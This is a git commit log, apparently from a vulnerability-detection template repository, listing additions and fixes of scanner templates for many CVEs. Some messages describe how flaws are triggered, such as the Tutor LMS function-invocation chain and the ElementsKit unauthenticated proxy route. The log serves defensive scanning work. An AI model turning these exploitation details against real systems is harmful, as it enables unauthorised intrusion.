Co-authored-by: Aman Rawat <[email protected]>
2026-09-09 20:13:44 +05:30
ghost 54ab9e3738 chore: generate templates checksum 🤖 2026-09-09 14:43:07 +00:00
ghost b1dc1f01ca chore: sign templates 🤖 2026-09-09 14:40:16 +00:00
ghost deb463000b chore: generate new addition list 🤖 2026-09-09 14:37:20 +00:00
ghost 0b870dcf21 chore: generate CVEs metadata 🤖 2026-09-09 14:36:51 +00:00
Roberto Nunes ab4e470eef Create CVE-2026-86426.yaml (#17181) 2026-09-09 20:06:28 +05:30
Dominique RIGHETTO 857b168d5c Simplify matchers by removing matchers-condition
Removed matchers-condition to simplify the matching logic.
2026-09-09 15:20:18 +02:00
Dominique RIGHETTO ed6ffaeab6 Add files via upload 2026-09-09 15:16:40 +02:00
Aman Rawat 071de846f3 Update CVE-2026-58123.yaml 2026-09-09 11:28:46 +05:30
ghost 8bc20b8b53 chore: update KEV and vKEV tags and metadata 🤖 2026-09-09 03:12:47 +00:00
ghost e99077f338 chore: generate templates checksum 🤖 2026-09-09 02:55:59 +00:00
ghost 3be2dcd637 chore: generate new addition list 🤖 2026-09-09 02:53:34 +00:00
ghost 979f19d3e5 chore: sign templates 🤖 2026-09-09 02:52:56 +00:00
Roberto Nunes a6440580a9 Merge pull request #17017 from Ls4ss/add-cve-2020-29134-totvs-fluig
TOTVS Fluig <= 1.7.0 - Arbitrary File Read / Directory Traversal (CVE-2020-29134)
2026-09-09 11:52:34 +09:00
ghost 5e5948011f chore: update EPSS scores 🤖 2026-09-09 02:04:43 +00:00
ghost d6dd07d5e9 chore: generate templates checksum 🤖 2026-09-09 01:29:18 +00:00
ghost 7261392b98 chore: generate new addition list 🤖 2026-09-09 01:27:16 +00:00
ghost 3f3df8cf7b chore: generate CVEs metadata 🤖 2026-09-09 01:26:40 +00:00
ghost 7fd7eb15d4 chore: sign templates 🤖 2026-09-09 01:26:34 +00:00
Roberto Nunes f68e2fc277 Merge pull request #17156 from 0xgh057r3c0n/cve-2026-19632
Add CVE-2026-19632 - TranslatePress Account Takeover
2026-09-09 10:26:13 +09:00
Roberto Nunes 6e36db143c Merge pull request #17043 from jankesec/fix/cve-2025-29927-false-positive
Fix: CVE-2025-29927 false positive on benign Next.js locale/i18n middleware redirects
2026-09-09 10:26:06 +09:00
Lucas Souza 71800abc08 Merge branch 'main' into add-cve-2020-29134-totvs-fluig 2026-09-09 00:58:45 +00:00
ghost 63b0a18281 chore: generate templates checksum 🤖 2026-09-09 00:50:00 +00:00
ghost f0d259c51c chore: generate new addition list 🤖 2026-09-09 00:49:54 +00:00
ghost 12226026a8 chore: generate new addition list 🤖 2026-09-09 00:49:30 +00:00
ghost c73150ca5a chore: generate CVEs metadata 🤖 2026-09-09 00:49:15 +00:00
ghost 61bee9169f chore: sign templates 🤖 2026-09-09 00:49:10 +00:00
Roberto Nunes dde0d62c59 Merge pull request #17169 from projectdiscovery/CVE-2026-60105
CVE-2026-60105 - Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass
2026-09-09 09:48:52 +09:00
ghost 62b405ce0a chore: sign templates 🤖 2026-09-09 00:48:46 +00:00
Roberto Nunes 650e0c7153 Merge pull request #17172 from projectdiscovery/CVE-2026-83548
CVE-2026-83548 - SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB
2026-09-09 09:48:26 +09:00
ghost 0afd590b9b chore: generate new addition list 🤖 2026-09-09 00:47:55 +00:00
ghost 0ed9a1f3fe chore: sign templates 🤖 2026-09-09 00:47:06 +00:00
Roberto Nunes bf6b0b5ac0 Merge pull request #17176 from projectdiscovery/CVE-2026-86206
CVE-2026-86206 - N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
2026-09-09 09:46:43 +09:00
ghost c219f6114b chore: generate templates checksum 🤖 2026-09-08 23:22:19 +00:00
ghost 5d2977a381 chore: generate new addition list 🤖 2026-09-08 23:20:12 +00:00
ghost 5d1e701bff chore: generate CVEs metadata 🤖 2026-09-08 23:19:39 +00:00
ghost 9d42b49909 chore: sign templates 🤖 2026-09-08 23:19:35 +00:00
Roberto Nunes 704070b3f1 Merge pull request #17178 from projectdiscovery/CVE-2026-86207
CVE-2026-86207 - N-able N-central - Authentication Bypass
2026-09-09 08:19:12 +09:00
Dhiyaneshwaran a4abd14dd0 CVE-2026-86207 - N-able N-central - Authentication Bypass 2026-09-08 23:14:25 +05:30
Dhiyaneshwaran e81f90ece3 CVE-2026-86206 - N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing 2026-09-08 22:20:09 +05:30
Lucas Souza ed2d584e41 Merge branch 'main' into add-cve-2020-29134-totvs-fluig 2026-09-08 13:41:06 +00:00
Aman Rawat d13260b51c Update CVE-2026-19632.yaml 2026-09-08 17:20:58 +05:30
Aman Rawat 607f01581c Update CVE-2020-29134.yaml 2026-09-08 16:50:18 +05:30
ghost ca9197a381 chore: generate templates checksum 🤖 2026-09-08 09:51:15 +00:00
github-actions[bot] e9f3f6aa4a chore: add impact and remediation fields 🤖 2026-09-08 09:49:00 +00:00
ghost 8cf94b93a3 chore: sign templates 🤖 2026-09-08 09:47:47 +00:00
Prince Chaddha aae0ce26eb Merge pull request #15122 from matejsmycka/add-tags
[BULK EDIT] Update vuln and discovery tags
2026-09-08 15:17:26 +05:30
Prince Chaddha c43bc53bcf Merge branch 'main' into add-tags 2026-09-08 15:11:47 +05:30
Prince Chaddha 5587bb896c Fix tags indentation in CVE-2019-5591
The tags line was indented under info.metadata instead of info, which
made info.tags resolve to null and dropped all tags for this template.
2026-09-08 15:06:15 +05:30
ghost e4a08b1e6d chore: generate templates checksum 🤖 2026-09-08 09:14:04 +00:00
ghost 5126497383 chore: generate new addition list 🤖 2026-09-08 09:11:49 +00:00
ghost 8a37cd98b1 chore: generate CVEs metadata 🤖 2026-09-08 09:11:16 +00:00
ghost f4957432aa chore: sign templates 🤖 2026-09-08 09:11:11 +00:00
Last-STRAKERandRoberto Nunes d658cab22f Add CVE-2026-56292 template (#17148)
* Add CVE-2026-56292 template

* Update CVE-2026-56292.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-08 14:40:50 +05:30
Dhiyaneshwaran 9c4ea6e877 CVE-2026-83548 - SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB 2026-09-08 10:08:34 +05:30
Dhiyaneshwaran 604409225e CVE-2026-60105 - Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass 2026-09-08 08:28:05 +05:30
ghost 8b70365f36 chore: update EPSS scores 🤖 2026-09-08 02:04:45 +00:00
ghost f4e3e1c689 chore: generate templates checksum 🤖 2026-09-07 13:55:23 +00:00
ghost 6ac294dc7e chore: sign templates 🤖 2026-09-07 13:52:17 +00:00
Aman Rawat 8c542e0026 Merge pull request #17165 from projectdiscovery/fix-template
Update CVE-2026-33017.yaml with new request limits
2026-09-07 19:21:55 +05:30
Dhiyaneshwaran 34a0e3f80d Update CVE-2026-33017.yaml with new request limits 2026-09-07 17:51:08 +05:30
ghost 9c896aebeb chore: generate templates checksum 🤖 2026-09-07 08:10:28 +00:00
ghost d1155439fc chore: sign templates 🤖 2026-09-07 08:07:40 +00:00
Aman Rawat 5e43a12014 Merge pull request #17159 from projectdiscovery/17046-FALSE-NEGATIVE-IN-CVE-2026-72898--WITH-MULTILINGUAL
FIX-FALSE-NEGATIVE-IN-CVE-2026-72898 -WITH-MULTILINGUAL
2026-09-07 13:37:19 +05:30
Aman Rawat ed231d590a Merge branch 'main' into 17046-FALSE-NEGATIVE-IN-CVE-2026-72898--WITH-MULTILINGUAL 2026-09-07 12:15:06 +05:30
ghost 5c7eb35a45 chore: generate templates checksum 🤖 2026-09-07 06:38:06 +00:00
ghost eeb2c80e9d chore: generate new addition list 🤖 2026-09-07 06:35:32 +00:00
ghost 608680d0d9 chore: generate new addition list 🤖 2026-09-07 06:35:11 +00:00
ghost 08283db6d5 chore: generate CVEs metadata 🤖 2026-09-07 06:35:07 +00:00
ghost 6222428ce6 chore: sign templates 🤖 2026-09-07 06:34:52 +00:00
Aman Rawat 4851f3b412 Merge pull request #17055 from str4k3r/str4k3r/cve-2026-42221
Add CVE-2026-42221 template
2026-09-07 12:04:31 +05:30
Aman Rawat 8047461dac Merge pull request #17144 from str4k3r/str4k3r/cve-2026-44343
Add CVE-2026-44343 template
2026-09-07 12:04:10 +05:30
ghost 47cb097629 chore: generate new addition list 🤖 2026-09-07 06:33:47 +00:00
Aman Rawat bb5d716b3c Merge branch 'main' into 17046-FALSE-NEGATIVE-IN-CVE-2026-72898--WITH-MULTILINGUAL 2026-09-07 12:03:42 +05:30
ghost 6aeb3f77cc chore: generate CVEs metadata 🤖 2026-09-07 06:33:14 +00:00
Aman Rawat ff6f8908f2 Merge pull request #17146 from str4k3r/str4k3r/cve-2026-28411
Add CVE-2026-28411 template
2026-09-07 12:02:50 +05:30
ghost f62482f652 chore: generate new addition list 🤖 2026-09-07 06:27:25 +00:00
ghost 780a55a581 chore: generate CVEs metadata 🤖 2026-09-07 06:26:46 +00:00
Aman Rawat c72b65e836 Merge pull request #17054 from str4k3r/str4k3r/cve-2026-21875
Add CVE-2026-21875 template
2026-09-07 11:56:24 +05:30
Roberto Nunes 78c4014687 Update CVE-2026-28411.yaml 2026-09-07 14:21:54 +09:00
Roberto Nunes 492950cfcf Update CVE-2026-42221.yaml 2026-09-07 12:45:31 +09:00
Roberto Nunes ee04277a71 Update CVE-2026-21875.yaml 2026-09-07 12:06:21 +09:00
ghost 49bacb710c chore: update EPSS scores 🤖 2026-09-07 02:05:42 +00:00
ghost 6aa8b75779 chore: generate templates checksum 🤖 2026-09-07 01:11:27 +00:00
ghost c0e0b72dec chore: generate new addition list 🤖 2026-09-07 01:09:05 +00:00
ghost cb1a4274bd chore: generate CVEs metadata 🤖 2026-09-07 01:08:41 +00:00
ghost 9ee215a3fe chore: sign templates 🤖 2026-09-07 01:08:35 +00:00
Last-STRAKERandRoberto Nunes bf4ec7eb70 Add CVE-2026-0561 template (#17050)
* Add CVE-2026-0561 template

* refine CVE-2026-0561 matcher

* Update CVE-2026-0561.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-07 06:38:14 +05:30
ghost 51ec16332a chore: generate templates checksum 🤖 2026-09-07 00:29:51 +00:00
ghost 2d45544696 chore: generate CVEs metadata 🤖 2026-09-07 00:27:47 +00:00
ghost e63d3068ab chore: sign templates 🤖 2026-09-07 00:27:06 +00:00
rahulreddykarneandRitik Chaddha 52d175886d Add CVE-2026-23693 - ElementsKit Lite <3.7.9 unauthenticated Mailchimp proxy (CWE-306) (#16705)
* Add CVE-2026-23693 (ElementsKit Lite <3.7.9 unauthenticated Mailchimp proxy)

Detects CVE-2026-23693, a missing-authorization (CWE-306) flaw in the ElementsKit Elementor Addons Lite (elementskit-lite) WordPress plugin before 3.7.9. The REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe is registered without any authentication or capability check, so an unauthenticated attacker can drive Mailchimp API requests through the site (client-supplied credentials, insufficient `list` validation) — an open-proxy and API-quota-abuse condition.

Detection is behavioral rather than version-based: an unauthenticated POST is accepted (HTTP 200, application/json) on vulnerable versions, while 3.7.9+ rejects it (401 rest_forbidden). The probe sends bogus Mailchimp credentials so no real account or quota is touched.

Validated on a live LocalWP install: elementskit-lite 3.7.8 matched; 3.7.9 and later did not.

* Update CVE-2026-23693.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2026-09-07 05:56:49 +05:30
Dhiyaneshwaran d9e7b1d501 Merge branch 'main' into patch-1 2026-09-07 05:07:23 +05:30
ghost 59ef5a254e chore: generate templates checksum 🤖 2026-09-06 23:28:33 +00:00
ghost 349195f1ac chore: generate new addition list 🤖 2026-09-06 23:28:31 +00:00
ghost af9553ea7a chore: sign templates 🤖 2026-09-06 23:27:55 +00:00
Roberto Nunes 49ab7d9830 Create nacos-v3-auth-scope-bypass.yaml - Nacos 3.x - Unauthenticated Admin Takeover (#17129)
* Create nacos-v3-auth-scope-bypass.yaml

* Update nacos-v3-auth-scope-bypass.yaml

* Update nacos-v3-auth-scope-bypass.yaml
2026-09-07 04:57:31 +05:30
ghost cf8d81a22c chore: generate templates checksum 🤖 2026-09-06 23:27:18 +00:00
ghost 5bb9dbdd49 chore: generate new addition list 🤖 2026-09-06 23:25:09 +00:00
ghost 5713e409cf chore: generate CVEs metadata 🤖 2026-09-06 23:24:34 +00:00
ghost 918fa189f8 chore: sign templates 🤖 2026-09-06 23:24:28 +00:00
Last-STRAKERandRoberto Nunes 75135afec3 Add CVE-2026-41452 template (#17061)
* Add CVE-2026-41452 template

* Revise CVE-2026-41452 False Positive Fix

Updated CVE-2026-41452 details including description, impact, and remediation for Krayin CRM vulnerabilities.

* Update CVE-2026-41452.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-07 04:54:07 +05:30
ghost fd3a718011 chore: generate new addition list 🤖 2026-09-06 23:23:41 +00:00
ghost b26de8f602 chore: generate CVEs metadata 🤖 2026-09-06 23:23:02 +00:00
Last-STRAKERandRoberto Nunes f19c01cf7e Add CVE-2026-0650 template (#17058)
* Add CVE-2026-0650 template

* Update CVE-2026-0650.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-07 04:52:40 +05:30
ghost c6e3cf0d71 chore: update EPSS scores 🤖 2026-09-06 02:04:30 +00:00
ghost a31210506f chore: update KEV and vKEV tags and metadata 🤖 2026-09-05 03:12:04 +00:00
ghost fe98d3a3eb chore: update EPSS scores 🤖 2026-09-05 02:04:31 +00:00
github-actions[bot] cae8325562 chore: add impact and remediation fields 🤖 2026-09-04 11:42:51 +00:00
ghost 27163547ba chore: generate new addition list 🤖 2026-09-04 11:42:43 +00:00
ghost dc9b51ba7c chore: generate CVEs metadata 🤖 2026-09-04 11:42:13 +00:00
Roberto NunesandDhiyaneshwaran f0058b333c Add Proxmox VE - Default Credentials with TFA Bypass (#17154)
* Add Proxmox VE default login vulnerability YAML

Added a YAML file for Proxmox VE default credentials with TFA bypass vulnerability details, including HTTP request and matchers.

* Update and rename http/default-logins/proxmox-ve-default-login.yaml to http/cves/2023/CVE-2023-54391.yaml

* Update CVE-2023-54391.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-04 18:41:42 +07:00
Roberto Nunes f7fa7be97f Revise CVE-2026-53595 description and impact details
Updated CVE-2026-53595 details, including a more concise description of the vulnerability, impact, and remediation steps.
2026-09-04 12:56:35 +09:00
Roberto Nunes dd8487a245 Create CVE-2026-48558.yaml 2026-09-04 12:36:43 +09:00
ghost 0feb405bf3 chore: update KEV and vKEV tags and metadata 🤖 2026-09-04 03:13:06 +00:00
ghost a8581f8e1f chore: update EPSS scores 🤖 2026-09-04 02:04:28 +00:00
Roberto Nunes 926992d22c Update matchers in CVE-2026-72898.yaml 2026-09-04 10:19:32 +09:00
Icaro Torres 576204b71c Create apache-livy-detect.yaml
Detects a Apache Livy, a open source REST interface for interacting with Apache Spark from anywhere.
2026-09-03 22:07:22 -03:00
Icaro Torres 654e7972cd Create apache-livy-logs.yaml
Detects if the logs/metrics page of the Apache Livy server is exposed.
2026-09-03 22:05:52 -03:00
Gaurav Bhattacharjee 44cabe739f Add CVE-2026-19632 - TranslatePress Account Takeover
This template detects unauthenticated account takeover in TranslatePress <= 3.3.1
Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/4f4ebf09-b089-4118-a0ee-399243253f9c
2026-09-03 16:02:38 +05:30
ghost 4f708d5ca2 chore: update KEV and vKEV tags and metadata 🤖 2026-09-03 04:27:41 +00:00
Roberto Nunes 68501bfa55 Update CVE-2026-44343.yaml 2026-09-03 11:43:54 +09:00
Roberto Nunes 0ebca19097 Update CVE-2026-41456.yaml 2026-09-03 11:38:54 +09:00
ghost 336abb9aca chore: update EPSS scores 🤖 2026-09-03 02:10:21 +00:00
Roberto Nunes f3753d5140 Update CVE-2026-29962.yaml 2026-09-03 11:04:02 +09:00
Roberto Nunes cc562c1b10 Update CVE-2026-44343.yaml 2026-09-03 10:50:30 +09:00
Roberto Nunes b9dd1d9b06 Create CVE-2026-41456.yaml 2026-09-03 10:18:00 +09:00
Sergio C.C. 1c40dc50bb Merge branch 'main' into siemens-s7-detect 2026-09-02 16:05:16 +02:00
ghost b98e6097cb chore: generate templates checksum 🤖 2026-09-02 07:52:15 +00:00
ghost c4cc85eac6 chore: generate new addition list 🤖 2026-09-02 07:50:11 +00:00
ghost 74d50f8fd1 chore: sign templates 🤖 2026-09-02 07:49:34 +00:00
Aman Rawat feebb556ab Merge pull request #17041 from K3ysTr0K3R/add-Fiberhome-router-detection-template
add Fiberhome detection template
2026-09-02 14:49:11 +07:00
Dhiyaneshwaran 8d58349a39 fix: move fiberhome-router-detect to technologies and update format
- Move from http/iot/ to http/technologies/ (standard location for tech detect)
- Add classification CPE, vendor/product metadata, shodan/fofa queries
- Update description to past tense with block scalar format
- Add host-redirects, tech/detect/discovery tags
2026-09-02 14:39:06 +07:00
Last-STRAKER f0d7cf48c3 Add CVE-2026-58123 template 2026-09-02 10:13:29 +03:00
Last-STRAKER 3f92f204b4 Add CVE-2026-53595 template 2026-09-02 10:13:22 +03:00
Last-STRAKER 33c48cceb9 Add CVE-2026-28411 template 2026-09-02 10:13:05 +03:00
Last-STRAKER 4e9e21217c Add CVE-2026-29962 template 2026-09-02 10:13:00 +03:00
Last-STRAKER 63c1eb6bd2 Add CVE-2026-44343 template 2026-09-02 10:12:54 +03:00
Roberto Nunes c950946857 Create CVE-2026-82222.yaml 2026-09-02 13:22:02 +09:00
ghost 22d5116558 chore: update KEV and vKEV tags and metadata 🤖 2026-09-02 03:13:08 +00:00
ghost c9f179b052 chore: update EPSS scores 🤖 2026-09-02 02:14:57 +00:00
ghost eac5e493f5 chore: generate templates checksum 🤖 2026-09-02 01:37:46 +00:00
ghost 70e128ef87 chore: generate new addition list 🤖 2026-09-02 01:36:55 +00:00
ghost 23895a2078 chore: generate new addition list 🤖 2026-09-02 01:36:53 +00:00
ghost 2479a87d1d chore: sign templates 🤖 2026-09-02 01:36:17 +00:00
Roberto Nunes 69c27f2616 Merge pull request #17044 from projectdiscovery/CVE-2026-57582
CVE-2026-57582 - GeoNetwork - Reflected Cross-Site Scripting
2026-09-02 10:35:55 +09:00
Roberto Nunes 4790f76d65 Merge pull request #17047 from projectdiscovery/CVE-2026-9586
CVE-2026-9586 - Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection
2026-09-02 10:35:49 +09:00
ghost 6e63bda533 chore: generate CVEs metadata 🤖 2026-09-02 01:35:17 +00:00
ghost f2d3322820 chore: sign templates 🤖 2026-09-02 01:35:10 +00:00
Roberto Nunes 4059ff675e Merge pull request #17048 from johnk3r/main
Create CVE-2026-82329
2026-09-02 10:34:49 +09:00
Last-STRAKER 55d3c8e30d Add CVE-2026-42221 template 2026-09-01 19:27:11 +03:00
Last-STRAKER fe66cb7051 Add CVE-2026-21875 template 2026-09-01 19:27:05 +03:00
Dhiyaneshwaran 9c39184bc0 Update and rename CVE-2026-82329 to CVE-2026-82329.yaml 2026-09-01 23:08:25 +07:00
johnk3r 069970be1c Create CVE-2026-82329 2026-09-01 12:56:20 -03:00
Dhiyaneshwaran a654cb4b99 CVE-2026-9586 - Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection 2026-09-01 22:43:37 +07:00
ghost 0913e50df2 chore: generate templates checksum 🤖 2026-09-01 10:53:22 +00:00
ghost c0942c7f37 chore: generate new addition list 🤖 2026-09-01 10:51:36 +00:00
ghost c88486e8c6 chore: generate new addition list 🤖 2026-09-01 10:51:07 +00:00
ghost 2fb1d2d4c4 chore: generate CVEs metadata 🤖 2026-09-01 10:51:01 +00:00
ghost 16de85540b chore: sign templates 🤖 2026-09-01 10:50:55 +00:00
Aman Rawat 594f8573b0 Merge pull request #17042 from projectdiscovery/Akokonunes-patch-10
Create CVE-2025-51683.yaml - mJobTime <= 15.7.2 - Unauthenticated Blind SQL Injection to RCE
2026-09-01 17:50:35 +07:00
ghost 79a5fb4ae2 chore: sign templates 🤖 2026-09-01 10:50:26 +00:00
Aman Rawat e73d55914c Merge pull request #17038 from Aryu-RU/add-cve-2026-19092
Add CVE-2026-19092 - Tutor LMS < 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation
2026-09-01 17:50:05 +07:00
Dhiyaneshwaran da446bc939 CVE-2026-57582 - GeoNetwork - Reflected Cross-Site Scripting 2026-09-01 17:02:58 +07:00
jankesec c2b54b82f4 Fix false positive on benign Next.js locale/i18n middleware redirects (CVE-2025-29927)
Refine http(1) baseline matchers to verify that the redirect target is an auth-related
location (auth/login/signin/admin/unauthorized), preventing benign Next.js i18n locale
redirects (e.g. / -> /en) from triggering false positive critical findings in base_check.

Closes #17019
2026-09-01 12:09:35 +03:00
ghost 0aa8ff80a5 chore: update EPSS scores 🤖 2026-09-01 02:07:21 +00:00
Roberto Nunes 6cad981e1a Update CVE-2026-19092.yaml 2026-09-01 10:51:54 +09:00
Roberto Nunes 7ae435d6c4 Create CVE-2025-51683.yaml 2026-09-01 09:20:57 +09:00
Jared Brits 231a51f841 Update tags in fiberhome-router-detect.yaml
Removed 'gpon' tag from Fiberhome router detection.
2026-08-31 18:05:37 -04:00
ghost 5a6c6d7139 chore: generate templates checksum 🤖 2026-08-31 18:14:45 +00:00
ghost 5c511135ae chore: generate new addition list 🤖 2026-08-31 18:12:29 +00:00
ghost 3ba66173ce chore: sign templates 🤖 2026-08-31 18:11:46 +00:00
CyberTechSeaandRitik Chaddha 439aff6f1e Add Drupal End-of-Life detection template (#16659)
* Add files via upload

Add Drupal End-of-Life detection template

* Update EOL detection notes for Drupal versions

Clarified detection notes for Drupal versions regarding EOL status and security updates.

* Update drupal-eol.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2026-09-01 01:11:24 +07:00
Dishant4081 77c3a687bd fix: CVE-2026-4257 nested payload variable not resolved on nuclei v3.11.1 2026-08-31 15:51:55 +05:30
ghost 74e8267021 chore: generate templates checksum 🤖 2026-08-31 05:58:04 +00:00
Aman Rawat 02cb32e2a6 Create CVE-2026-41679.yaml 2026-08-31 12:57:36 +07:00
ghost eb287cdfa5 chore: generate new addition list 🤖 2026-08-31 05:56:04 +00:00
ghost 691b92b53b chore: generate CVEs metadata 🤖 2026-08-31 05:55:35 +00:00
Aman Rawat 159f2196df Merge pull request #17036 from projectdiscovery/revert/cve-2026-41679
Revert: Remove CVE-2026-41679.yaml
2026-08-31 11:25:12 +05:30
Dhiyaneshwaran 745428d515 Revert "Create CVE-2026-41679.yaml"
This reverts commit 10d9385120.
2026-08-31 12:48:11 +07:00
ghost cf2db2505e chore: generate templates checksum 🤖 2026-08-31 05:46:54 +00:00
ghost 205e8028a7 chore: generate new addition list 🤖 2026-08-31 05:44:59 +00:00
ghost 74dd85d314 chore: generate CVEs metadata 🤖 2026-08-31 05:44:20 +00:00
ghost 07e3d56c38 chore: sign templates 🤖 2026-08-31 05:44:17 +00:00
Aman Rawat 10d9385120 Create CVE-2026-41679.yaml 2026-08-31 12:43:57 +07:00
ghost eaf96a3165 chore: generate templates checksum 🤖 2026-08-31 05:21:07 +00:00
ghost b2af608651 chore: generate new addition list 🤖 2026-08-31 05:18:51 +00:00
ghost 26ce45c988 chore: sign templates 🤖 2026-08-31 05:18:17 +00:00
Aman Rawat cb157d2aed Merge pull request #17028 from K3ysTr0K3R/add-gargoyle-router-detection
Add Gargoyle Router detection template
2026-08-31 10:47:55 +05:30
ghost 5218f69ec9 chore: generate new addition list 🤖 2026-08-31 05:12:47 +00:00
ghost f7a80e0990 chore: generate CVEs metadata 🤖 2026-08-31 05:12:12 +00:00
Aman Rawat c6a5d5c922 Merge pull request #16891 from iacker/CVE-2026-73034
feat: add CVE-2026-73034 DB-GPT <= 0.8.1 path traversal arbitrary file write
2026-08-31 10:41:49 +05:30
Roberto Nunes f11b767ca6 Create CVE-2026-8467.yaml 2026-08-31 13:47:28 +09:00
Aryu-RU 197f71e9f3 Add CVE-2026-19092 Tutor LMS unauthenticated arbitrary PHP function invocation
Tutor LMS before 4.0.6 extracts request data into the template scope, so an
unauthenticated POST to tutor_course_filter_ajax overwrites the $template
local in tutor_load_template() and then $method_map/$context inside
single-content-loader, reaching an arbitrary zero-argument function call.

The template invokes phpinfo() and matches its output, proving exploitation
rather than reading the installed version. Verified against 4.0.5 (match) and
against 4.0.6, 4.0.7 and a WordPress instance without the plugin (no match).
2026-08-31 03:50:54 +00:00
ghost 9e6ac6afa2 chore: update KEV and vKEV tags and metadata 🤖 2026-08-31 03:13:56 +00:00
Roberto Nunes c1b5fb820a Update siemens-s7-detect.yaml 2026-08-31 11:29:08 +09:00
ghost 6bffa2619b chore: update EPSS scores 🤖 2026-08-31 02:05:21 +00:00
Jared Brits 760d1e519c Merge branch 'main' into add-gargoyle-router-detection 2026-08-31 03:43:48 +02:00
Roberto Nunes dc428e8033 Update gargoyle-router-detect.yaml 2026-08-31 10:39:55 +09:00
Cole Munz 247a768d05 Fix hp-printer-default-login matching any 200 response as success
matchers-condition was set to or across a word matcher, a Set-Cookie
regex, and a bare status:200 matcher. Because status 200 alone is
enough under or, the template flags any successful HTTP response to
the login POST as a confirmed default-login vulnerable printer, even
a failed-login page reload, which HP EWS also serves with status 200.
Changed to and so a match now requires the admin-session body
evidence, the session cookie, and status 200 together.
2026-08-30 13:15:25 -05:00
SergioCc13 c1457b80ce Add Siemens SIMATIC S7 Series PLC detection template 2026-08-30 12:56:35 +02:00
Ritik Chaddha 7606f86af3 Update CVE-2026-73034.yaml 2026-08-30 17:08:12 +07:00
ghost 1da8a1f3ea chore: generate new addition list 🤖 2026-08-30 09:29:13 +00:00
ghost 101b520248 chore: generate templates checksum 🤖 2026-08-30 09:29:10 +00:00
ghost 1aa698a550 chore: generate CVEs metadata 🤖 2026-08-30 09:28:42 +00:00
ghost e51cb0045a chore: sign templates 🤖 2026-08-30 09:28:39 +00:00
Aman Rawat 7adcbc7e1c Merge pull request #16374 from projectdiscovery/CVE-2022-39258
Create CVE-2022-39258.yaml
2026-08-30 14:58:19 +05:30
ghost af2623905c chore: generate new addition list 🤖 2026-08-30 09:27:01 +00:00
ghost 8d46386abc chore: generate CVEs metadata 🤖 2026-08-30 09:26:25 +00:00
ghost e8050babc5 chore: sign templates 🤖 2026-08-30 09:26:22 +00:00
0f3a0f7047 Add CVE 2017 8225 - IP Camera (P2P) WIFICAM Credential Disclosure (#17029)
* Add Gargoyle Router Detection configuration

* Create CVE-2017-8225.yaml

* Update CVE-2017-8225.yaml

* Delete http/iot/gargoyle-router-detect.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-08-30 16:26:01 +07:00
ghost b19e7e1e42 chore: generate templates checksum 🤖 2026-08-30 09:22:34 +00:00
ghost d2204e89e1 chore: generate new addition list 🤖 2026-08-30 09:20:20 +00:00
ghost 0a9f3f4ce4 chore: generate CVEs metadata 🤖 2026-08-30 09:19:48 +00:00
ghost 32ce4014b6 chore: sign templates 🤖 2026-08-30 09:19:44 +00:00
991647ef5a Add CVE-2026-42596 template (#16803)
* Add CVE-2026-42596 template

* Update CVE-2026-42596.yaml

* Update CVE-2026-42596.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-08-30 16:19:21 +07:00
ghost a4c21c5588 chore: generate templates checksum 🤖 2026-08-30 09:15:00 +00:00
ghost d019b2306e chore: sign templates 🤖 2026-08-30 09:12:21 +00:00
Ritik Chaddha 6478a1e438 Merge pull request #16989 from ChrisJr404/add-signoz-panel-detection
Add SigNoz Panel detection template
2026-08-30 14:41:59 +05:30
ghost 9e14d974d7 chore: generate templates checksum 🤖 2026-08-30 08:43:58 +00:00
ghost cabc70da64 chore: generate new addition list 🤖 2026-08-30 08:42:05 +00:00
ghost 4d9e8b8715 chore: generate new addition list 🤖 2026-08-30 08:41:44 +00:00
ghost fd79cc6f5e chore: generate new addition list 🤖 2026-08-30 08:41:34 +00:00
ghost 86c86ed2f8 chore: sign templates 🤖 2026-08-30 08:41:23 +00:00
Ritik Chaddha 9b84f32267 Merge pull request #16998 from ChrisJr404/donetick-panel
Add Donetick panel detection template
2026-08-30 14:11:03 +05:30
Ritik Chaddha 4f561aee62 Merge pull request #16993 from ChrisJr404/dawarich-detect
Add Dawarich detection template
2026-08-30 14:10:47 +05:30
Ritik Chaddha 3a9538764c Merge pull request #16991 from ChrisJr404/add-romm-panel-template
Add RomM detection template
2026-08-30 14:10:36 +05:30
Ritik Chaddha ae0a43bec8 Update signoz-panel.yaml 2026-08-30 15:39:44 +07:00
ghost 3a09e9868a chore: generate templates checksum 🤖 2026-08-30 07:23:07 +00:00
ghost bbcd2d9122 chore: generate new addition list 🤖 2026-08-30 07:21:24 +00:00
ghost 39a25cc540 chore: generate new addition list 🤖 2026-08-30 07:20:59 +00:00
ghost 1daafcdc35 chore: sign templates 🤖 2026-08-30 07:20:50 +00:00
ghost 5f60413a4a chore: generate new addition list 🤖 2026-08-30 07:20:46 +00:00
Ritik Chaddha dbccd78ce7 Merge pull request #16987 from ChrisJr404/add-silverbullet-panel
Add SilverBullet detection template
2026-08-30 12:50:28 +05:30
ghost 5b1a065ff3 chore: sign templates 🤖 2026-08-30 07:20:23 +00:00
Ritik Chaddha 3633c1d864 Merge pull request #16983 from ChrisJr404/add-docmost-panel
Add Docmost detection template
2026-08-30 12:50:00 +05:30
Ritik Chaddha 3096485b2c Merge pull request #16979 from ChrisJr404/add-linkding-panel
Add linkding detection template
2026-08-30 12:49:50 +05:30
